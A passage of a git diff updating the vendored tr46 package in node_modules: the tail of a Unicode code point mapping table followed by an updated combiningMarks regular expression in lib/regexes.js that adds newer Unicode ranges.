[128581,128591],2],[[128592,128639],2],[[128640,128709],2],[[128710,128719],2],[128720,2],[[128721,128722],2],[[128723,128724],2],[128725,2],[[128726,128727],2],[[128728,128731],3],[128732,2],[[128733,128735],2],[[128736,128748],2],[[128749,128751],3],[[128752,128755],2],[[128756,128758],2],[[128759,128760],2],[128761,2],[128762,2],[[128763,128764],2],[[128765,128767],3],[[128768,128883],2],[[128884,128886],2],[[128887,128890],3],[[128891,128895],2],[[128896,128980],2],[[128981,128984],2],[128985,2],[[128986,128991],3],[[128992,129003],2],[[129004,129007],3],[129008,2],[[129009,129023],3],[[129024,129035],2],[[129036,129039],3],[[129040,129095],2],[[129096,129103],3],[[129104,129113],2],[[129114,129119],3],[[129120,129159],2],[[129160,129167],3],[[129168,129197],2],[[129198,129199],3],[[129200,129201],2],[[129202,129279],3],[[129280,129291],2],[129292,2],[[129293,129295],2],[[129296,129304],2],[[129305,129310],2],[129311,2],[[129312,129319],2],[[129320,129327],2],[129328,2],[[129329,129330],2],[[129331,129342],2],[129343,2],[[129344,129355],2],[129356,2],[[129357,129359],2],[[129360,129374],2],[[129375,129387],2],[[129388,129392],2],[129393,2],[129394,2],[[129395,129398],2],[[129399,129400],2],[129401,2],[129402,2],[129403,2],[[129404,129407],2],[[129408,129412],2],[[129413,129425],2],[[129426,129431],2],[[129432,129442],2],[[129443,129444],2],[[129445,129450],2],[[129451,129453],2],[[129454,129455],2],[[129456,129465],2],[[129466,129471],2],[129472,2],[[129473,129474],2],[[129475,129482],2],[129483,2],[129484,2],[[129485,129487],2],[[129488,129510],2],[[129511,129535],2],[[129536,129619],2],[[129620,129631],3],[[129632,129645],2],[[129646,129647],3],[[129648,129651],2],[129652,2],[[129653,129655],2],[[129656,129658],2],[[129659,129660],2],[[129661,129663],3],[[129664,129666],2],[[129667,129670],2],[[129671,129672],2],[[129673,129679],3],[[129680,129685],2],[[129686,129704],2],[[129705,129708],2],[[129709,129711],2],[[129712,129718],2],[[129719,129722],2],[[129723,129725],2],[129726,3],[129727,2],[[129728,129730],2],[[129731,129733],2],[[129734,129741],3],[[129742,129743],2],[[129744,129750],2],[[129751,129753],2],[[129754,129755],2],[[129756,129759],3],[[129760,129767],2],[129768,2],[[129769,129775],3],[[129776,129782],2],[[129783,129784],2],[[129785,129791],3],[[129792,129938],2],[129939,3],[[129940,129994],2],[[129995,130031],3],[130032,1,"0"],[130033,1,"1"],[130034,1,"2"],[130035,1,"3"],[130036,1,"4"],[130037,1,"5"],[130038,1,"6"],[130039,1,"7"],[130040,1,"8"],[130041,1,"9"],[[130042,131069],3],[[131070,131071],3],[[131072,173782],2],[[173783,173789],2],[[173790,173791],2],[[173792,173823],3],[[173824,177972],2],[[177973,177976],2],[177977,2],[[177978,177983],3],[[177984,178205],2],[[178206,178207],3],[[178208,183969],2],[[183970,183983],3],[[183984,191456],2],[[191457,194559],3],[194560,1,"丽"],[194561,1,"丸"],[194562,1,"乁"],[194563,1,"𠄢"],[194564,1,"你"],[194565,1,"侮"],[194566,1,"侻"],[194567,1,"倂"],[194568,1,"偺"],[194569,1,"備"],[194570,1,"僧"],[194571,1,"像"],[194572,1,"㒞"],[194573,1,"𠘺"],[194574,1,"免"],[194575,1,"兔"],[194576,1,"兤"],[194577,1,"具"],[194578,1,"𠔜"],[194579,1,"㒹"],[194580,1,"內"],[194581,1,"再"],[194582,1,"𠕋"],[194583,1,"冗"],[194584,1,"冤"],[194585,1,"仌"],[194586,1,"冬"],[194587,1,"况"],[194588,1,"𩇟"],[194589,1,"凵"],[194590,1,"刃"],[194591,1,"㓟"],[194592,1,"刻"],[194593,1,"剆"],[194594,1,"割"],[194595,1,"剷"],[194596,1,"㔕"],[194597,1,"勇"],[194598,1,"勉"],[194599,1,"勤"],[194600,1,"勺"],[194601,1,"包"],[194602,1,"匆"],[194603,1,"北"],[194604,1,"卉"],[194605,1,"卑"],[194606,1,"博"],[194607,1,"即"],[194608,1,"卽"],[[194609,194611],1,"卿"],[194612,1,"𠨬"],[194613,1,"灰"],[194614,1,"及"],[194615,1,"叟"],[194616,1,"𠭣"],[194617,1,"叫"],[194618,1,"叱"],[194619,1,"吆"],[194620,1,"咞"],[194621,1,"吸"],[194622,1,"呈"],[194623,1,"周"],[194624,1,"咢"],[194625,1,"哶"],[194626,1,"唐"],[194627,1,"啓"],[194628,1,"啣"],[[194629,194630],1,"善"],[194631,1,"喙"],[194632,1,"喫"],[194633,1,"喳"],[194634,1,"嗂"],[194635,1,"圖"],[194636,1,"嘆"],[194637,1,"圗"],[194638,1,"噑"],[194639,1,"噴"],[194640,1,"切"],[194641,1,"壮"],[194642,1,"城"],[194643,1,"埴"],[194644,1,"堍"],[194645,1,"型"],[194646,1,"堲"],[194647,1,"報"],[194648,1,"墬"],[194649,1,"𡓤"],[194650,1,"売"],[194651,1,"壷"],[194652,1,"夆"],[194653,1,"多"],[194654,1,"夢"],[194655,1,"奢"],[194656,1,"𡚨"],[194657,1,"𡛪"],[194658,1,"姬"],[194659,1,"娛"],[194660,1,"娧"],[194661,1,"姘"],[194662,1,"婦"],[194663,1,"㛮"],[194664,3],[194665,1,"嬈"],[[194666,194667],1,"嬾"],[194668,1,"𡧈"],[194669,1,"寃"],[194670,1,"寘"],[194671,1,"寧"],[194672,1,"寳"],[194673,1,"𡬘"],[194674,1,"寿"],[194675,1,"将"],[194676,3],[194677,1,"尢"],[194678,1,"㞁"],[194679,1,"屠"],[194680,1,"屮"],[194681,1,"峀"],[194682,1,"岍"],[194683,1,"𡷤"],[194684,1,"嵃"],[194685,1,"𡷦"],[194686,1,"嵮"],[194687,1,"嵫"],[194688,1,"嵼"],[194689,1,"巡"],[194690,1,"巢"],[194691,1,"㠯"],[194692,1,"巽"],[194693,1,"帨"],[194694,1,"帽"],[194695,1,"幩"],[194696,1,"㡢"],[194697,1,"𢆃"],[194698,1,"㡼"],[194699,1,"庰"],[194700,1,"庳"],[194701,1,"庶"],[194702,1,"廊"],[194703,1,"𪎒"],[194704,1,"廾"],[[194705,194706],1,"𢌱"],[194707,1,"舁"],[[194708,194709],1,"弢"],[194710,1,"㣇"],[194711,1,"𣊸"],[194712,1,"𦇚"],[194713,1,"形"],[194714,1,"彫"],[194715,1,"㣣"],[194716,1,"徚"],[194717,1,"忍"],[194718,1,"志"],[194719,1,"忹"],[194720,1,"悁"],[194721,1,"㤺"],[194722,1,"㤜"],[194723,1,"悔"],[194724,1,"𢛔"],[194725,1,"惇"],[194726,1,"慈"],[194727,1,"慌"],[194728,1,"慎"],[194729,1,"慌"],[194730,1,"慺"],[194731,1,"憎"],[194732,1,"憲"],[194733,1,"憤"],[194734,1,"憯"],[194735,1,"懞"],[194736,1,"懲"],[194737,1,"懶"],[194738,1,"成"],[194739,1,"戛"],[194740,1,"扝"],[194741,1,"抱"],[194742,1,"拔"],[194743,1,"捐"],[194744,1,"𢬌"],[194745,1,"挽"],[194746,1,"拼"],[194747,1,"捨"],[194748,1,"掃"],[194749,1,"揤"],[194750,1,"𢯱"],[194751,1,"搢"],[194752,1,"揅"],[194753,1,"掩"],[194754,1,"㨮"],[194755,1,"摩"],[194756,1,"摾"],[194757,1,"撝"],[194758,1,"摷"],[194759,1,"㩬"],[194760,1,"敏"],[194761,1,"敬"],[194762,1,"𣀊"],[194763,1,"旣"],[194764,1,"書"],[194765,1,"晉"],[194766,1,"㬙"],[194767,1,"暑"],[194768,1,"㬈"],[194769,1,"㫤"],[194770,1,"冒"],[194771,1,"冕"],[194772,1,"最"],[194773,1,"暜"],[194774,1,"肭"],[194775,1,"䏙"],[194776,1,"朗"],[194777,1,"望"],[194778,1,"朡"],[194779,1,"杞"],[194780,1,"杓"],[194781,1,"𣏃"],[194782,1,"㭉"],[194783,1,"柺"],[194784,1,"枅"],[194785,1,"桒"],[194786,1,"梅"],[194787,1,"𣑭"],[194788,1,"梎"],[194789,1,"栟"],[194790,1,"椔"],[194791,1,"㮝"],[194792,1,"楂"],[194793,1,"榣"],[194794,1,"槪"],[194795,1,"檨"],[194796,1,"𣚣"],[194797,1,"櫛"],[194798,1,"㰘"],[194799,1,"次"],[194800,1,"𣢧"],[194801,1,"歔"],[194802,1,"㱎"],[194803,1,"歲"],[194804,1,"殟"],[194805,1,"殺"],[194806,1,"殻"],[194807,1,"𣪍"],[194808,1,"𡴋"],[194809,1,"𣫺"],[194810,1,"汎"],[194811,1,"𣲼"],[194812,1,"沿"],[194813,1,"泍"],[194814,1,"汧"],[194815,1,"洖"],[194816,1,"派"],[194817,1,"海"],[194818,1,"流"],[194819,1,"浩"],[194820,1,"浸"],[194821,1,"涅"],[194822,1,"𣴞"],[194823,1,"洴"],[194824,1,"港"],[194825,1,"湮"],[194826,1,"㴳"],[194827,1,"滋"],[194828,1,"滇"],[194829,1,"𣻑"],[194830,1,"淹"],[194831,1,"潮"],[194832,1,"𣽞"],[194833,1,"𣾎"],[194834,1,"濆"],[194835,1,"瀹"],[194836,1,"瀞"],[194837,1,"瀛"],[194838,1,"㶖"],[194839,1,"灊"],[194840,1,"災"],[194841,1,"灷"],[194842,1,"炭"],[194843,1,"𠔥"],[194844,1,"煅"],[194845,1,"𤉣"],[194846,1,"熜"],[194847,3],[194848,1,"爨"],[194849,1,"爵"],[194850,1,"牐"],[194851,1,"𤘈"],[194852,1,"犀"],[194853,1,"犕"],[194854,1,"𤜵"],[194855,1,"𤠔"],[194856,1,"獺"],[194857,1,"王"],[194858,1,"㺬"],[194859,1,"玥"],[[194860,194861],1,"㺸"],[194862,1,"瑇"],[194863,1,"瑜"],[194864,1,"瑱"],[194865,1,"璅"],[194866,1,"瓊"],[194867,1,"㼛"],[194868,1,"甤"],[194869,1,"𤰶"],[194870,1,"甾"],[194871,1,"𤲒"],[194872,1,"異"],[194873,1,"𢆟"],[194874,1,"瘐"],[194875,1,"𤾡"],[194876,1,"𤾸"],[194877,1,"𥁄"],[194878,1,"㿼"],[194879,1,"䀈"],[194880,1,"直"],[194881,1,"𥃳"],[194882,1,"𥃲"],[194883,1,"𥄙"],[194884,1,"𥄳"],[194885,1,"眞"],[[194886,194887],1,"真"],[194888,1,"睊"],[194889,1,"䀹"],[194890,1,"瞋"],[194891,1,"䁆"],[194892,1,"䂖"],[194893,1,"𥐝"],[194894,1,"硎"],[194895,1,"碌"],[194896,1,"磌"],[194897,1,"䃣"],[194898,1,"𥘦"],[194899,1,"祖"],[194900,1,"𥚚"],[194901,1,"𥛅"],[194902,1,"福"],[194903,1,"秫"],[194904,1,"䄯"],[194905,1,"穀"],[194906,1,"穊"],[194907,1,"穏"],[194908,1,"𥥼"],[[194909,194910],1,"𥪧"],[194911,3],[194912,1,"䈂"],[194913,1,"𥮫"],[194914,1,"篆"],[194915,1,"築"],[194916,1,"䈧"],[194917,1,"𥲀"],[194918,1,"糒"],[194919,1,"䊠"],[194920,1,"糨"],[194921,1,"糣"],[194922,1,"紀"],[194923,1,"𥾆"],[194924,1,"絣"],[194925,1,"䌁"],[194926,1,"緇"],[194927,1,"縂"],[194928,1,"繅"],[194929,1,"䌴"],[194930,1,"𦈨"],[194931,1,"𦉇"],[194932,1,"䍙"],[194933,1,"𦋙"],[194934,1,"罺"],[194935,1,"𦌾"],[194936,1,"羕"],[194937,1,"翺"],[194938,1,"者"],[194939,1,"𦓚"],[194940,1,"𦔣"],[194941,1,"聠"],[194942,1,"𦖨"],[194943,1,"聰"],[194944,1,"𣍟"],[194945,1,"䏕"],[194946,1,"育"],[194947,1,"脃"],[194948,1,"䐋"],[194949,1,"脾"],[194950,1,"媵"],[194951,1,"𦞧"],[194952,1,"𦞵"],[194953,1,"𣎓"],[194954,1,"𣎜"],[194955,1,"舁"],[194956,1,"舄"],[194957,1,"辞"],[194958,1,"䑫"],[194959,1,"芑"],[194960,1,"芋"],[194961,1,"芝"],[194962,1,"劳"],[194963,1,"花"],[194964,1,"芳"],[194965,1,"芽"],[194966,1,"苦"],[194967,1,"𦬼"],[194968,1,"若"],[194969,1,"茝"],[194970,1,"荣"],[194971,1,"莭"],[194972,1,"茣"],[194973,1,"莽"],[194974,1,"菧"],[194975,1,"著"],[194976,1,"荓"],[194977,1,"菊"],[194978,1,"菌"],[194979,1,"菜"],[194980,1,"𦰶"],[194981,1,"𦵫"],[194982,1,"𦳕"],[194983,1,"䔫"],[194984,1,"蓱"],[194985,1,"蓳"],[194986,1,"蔖"],[194987,1,"𧏊"],[194988,1,"蕤"],[194989,1,"𦼬"],[194990,1,"䕝"],[194991,1,"䕡"],[194992,1,"𦾱"],[194993,1,"𧃒"],[194994,1,"䕫"],[194995,1,"虐"],[194996,1,"虜"],[194997,1,"虧"],[194998,1,"虩"],[194999,1,"蚩"],[195000,1,"蚈"],[195001,1,"蜎"],[195002,1,"蛢"],[195003,1,"蝹"],[195004,1,"蜨"],[195005,1,"蝫"],[195006,1,"螆"],[195007,3],[195008,1,"蟡"],[195009,1,"蠁"],[195010,1,"䗹"],[195011,1,"衠"],[195012,1,"衣"],[195013,1,"𧙧"],[195014,1,"裗"],[195015,1,"裞"],[195016,1,"䘵"],[195017,1,"裺"],[195018,1,"㒻"],[195019,1,"𧢮"],[195020,1,"𧥦"],[195021,1,"䚾"],[195022,1,"䛇"],[195023,1,"誠"],[195024,1,"諭"],[195025,1,"變"],[195026,1,"豕"],[195027,1,"𧲨"],[195028,1,"貫"],[195029,1,"賁"],[195030,1,"贛"],[195031,1,"起"],[195032,1,"𧼯"],[195033,1,"𠠄"],[195034,1,"跋"],[195035,1,"趼"],[195036,1,"跰"],[195037,1,"𠣞"],[195038,1,"軔"],[195039,1,"輸"],[195040,1,"𨗒"],[195041,1,"𨗭"],[195042,1,"邔"],[195043,1,"郱"],[195044,1,"鄑"],[195045,1,"𨜮"],[195046,1,"鄛"],[195047,1,"鈸"],[195048,1,"鋗"],[195049,1,"鋘"],[195050,1,"鉼"],[195051,1,"鏹"],[195052,1,"鐕"],[195053,1,"𨯺"],[195054,1,"開"],[195055,1,"䦕"],[195056,1,"閷"],[195057,1,"𨵷"],[195058,1,"䧦"],[195059,1,"雃"],[195060,1,"嶲"],[195061,1,"霣"],[195062,1,"𩅅"],[195063,1,"𩈚"],[195064,1,"䩮"],[195065,1,"䩶"],[195066,1,"韠"],[195067,1,"𩐊"],[195068,1,"䪲"],[195069,1,"𩒖"],[[195070,195071],1,"頋"],[195072,1,"頩"],[195073,1,"𩖶"],[195074,1,"飢"],[195075,1,"䬳"],[195076,1,"餩"],[195077,1,"馧"],[195078,1,"駂"],[195079,1,"駾"],[195080,1,"䯎"],[195081,1,"𩬰"],[195082,1,"鬒"],[195083,1,"鱀"],[195084,1,"鳽"],[195085,1,"䳎"],[195086,1,"䳭"],[195087,1,"鵧"],[195088,1,"𪃎"],[195089,1,"䳸"],[195090,1,"𪄅"],[195091,1,"𪈎"],[195092,1,"𪊑"],[195093,1,"麻"],[195094,1,"䵖"],[195095,1,"黹"],[195096,1,"黾"],[195097,1,"鼅"],[195098,1,"鼏"],[195099,1,"鼖"],[195100,1,"鼻"],[195101,1,"𪘀"],[[195102,196605],3],[[196606,196607],3],[[196608,201546],2],[[201547,201551],3],[[201552,205743],2],[[205744,262141],3],[[262142,262143],3],[[262144,327677],3],[[327678,327679],3],[[327680,393213],3],[[393214,393215],3],[[393216,458749],3],[[458750,458751],3],[[458752,524285],3],[[524286,524287],3],[[524288,589821],3],[[589822,589823],3],[[589824,655357],3],[[655358,655359],3],[[655360,720893],3],[[720894,720895],3],[[720896,786429],3],[[786430,786431],3],[[786432,851965],3],[[851966,851967],3],[[851968,917501],3],[[917502,917503],3],[917504,3],[917505,3],[[917506,917535],3],[[917536,917631],3],[[917632,917759],3],[[917760,917999],7],[[918000,983037],3],[[983038,983039],3],[[983040,1048573],3],[[1048574,1048575],3],[[1048576,1114109],3],[[1114110,1114111],3]] \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/node_modules/tr46/lib/regexes.js b/env_xbb_lastest_jsdom/node_modules/tr46/lib/regexes.js index 4dd8051e..14a5bf98 100644 --- a/env_xbb_lastest_jsdom/node_modules/tr46/lib/regexes.js +++ b/env_xbb_lastest_jsdom/node_modules/tr46/lib/regexes.js @@ -1,17 +1,17 @@ "use strict"; -const combiningMarks = /[\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B62\u0B63\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0C00-\u0C04\u0C3C\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D81-\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F\u109A-\u109D\u135D-\u135F\u1712-\u1715\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u192B\u1930-\u193B\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B04\u1B34-\u1B44\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BE6-\u1BF3\u1C24-\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA82C\uA880\uA881\uA8B4-\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9E5\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11000}-\u{11002}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11082}\u{110B0}-\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{11134}\u{11145}\u{11146}\u{11173}\u{11180}-\u{11182}\u{111B3}-\u{111C0}\u{111C9}-\u{111CC}\u{111CE}\u{111CF}\u{1122C}-\u{11237}\u{1123E}\u{112DF}-\u{112EA}\u{11300}-\u{11303}\u{1133B}\u{1133C}\u{1133E}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11357}\u{11362}\u{11363}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11435}-\u{11446}\u{1145E}\u{114B0}-\u{114C3}\u{115AF}-\u{115B5}\u{115B8}-\u{115C0}\u{115DC}\u{115DD}\u{11630}-\u{11640}\u{116AB}-\u{116B7}\u{1171D}-\u{1172B}\u{1182C}-\u{1183A}\u{11930}-\u{11935}\u{11937}\u{11938}\u{1193B}-\u{1193E}\u{11940}\u{11942}\u{11943}\u{119D1}-\u{119D7}\u{119DA}-\u{119E0}\u{119E4}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A39}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A5B}\u{11A8A}-\u{11A99}\u{11C2F}-\u{11C36}\u{11C38}-\u{11C3F}\u{11C92}-\u{11CA7}\u{11CA9}-\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D8A}-\u{11D8E}\u{11D90}\u{11D91}\u{11D93}-\u{11D97}\u{11EF3}-\u{11EF6}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F51}-\u{16F87}\u{16F8F}-\u{16F92}\u{16FE4}\u{16FF0}\u{16FF1}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D165}-\u{1D169}\u{1D16D}-\u{1D172}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]/u; +const combiningMarks = /[\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B62\u0B63\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0C00-\u0C04\u0C3C\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0CF3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D81-\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F\u109A-\u109D\u135D-\u135F\u1712-\u1715\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u192B\u1930-\u193B\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B04\u1B34-\u1B44\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BE6-\u1BF3\u1C24-\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA82C\uA880\uA881\uA8B4-\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9E5\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10EFD}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11000}-\u{11002}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11082}\u{110B0}-\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{11134}\u{11145}\u{11146}\u{11173}\u{11180}-\u{11182}\u{111B3}-\u{111C0}\u{111C9}-\u{111CC}\u{111CE}\u{111CF}\u{1122C}-\u{11237}\u{1123E}\u{11241}\u{112DF}-\u{112EA}\u{11300}-\u{11303}\u{1133B}\u{1133C}\u{1133E}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11357}\u{11362}\u{11363}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11435}-\u{11446}\u{1145E}\u{114B0}-\u{114C3}\u{115AF}-\u{115B5}\u{115B8}-\u{115C0}\u{115DC}\u{115DD}\u{11630}-\u{11640}\u{116AB}-\u{116B7}\u{1171D}-\u{1172B}\u{1182C}-\u{1183A}\u{11930}-\u{11935}\u{11937}\u{11938}\u{1193B}-\u{1193E}\u{11940}\u{11942}\u{11943}\u{119D1}-\u{119D7}\u{119DA}-\u{119E0}\u{119E4}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A39}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A5B}\u{11A8A}-\u{11A99}\u{11C2F}-\u{11C36}\u{11C38}-\u{11C3F}\u{11C92}-\u{11CA7}\u{11CA9}-\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D8A}-\u{11D8E}\u{11D90}\u{11D91}\u{11D93}-\u{11D97}\u{11EF3}-\u{11EF6}\u{11F00}\u{11F01}\u{11F03}\u{11F34}-\u{11F3A}\u{11F3E}-\u{11F42}\u{13440}\u{13447}-\u{13455}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F51}-\u{16F87}\u{16F8F}-\u{16F92}\u{16FE4}\u{16FF0}\u{16FF1}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D165}-\u{1D169}\u{1D16D}-\u{1D172}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]/u; const combiningClassVirama = 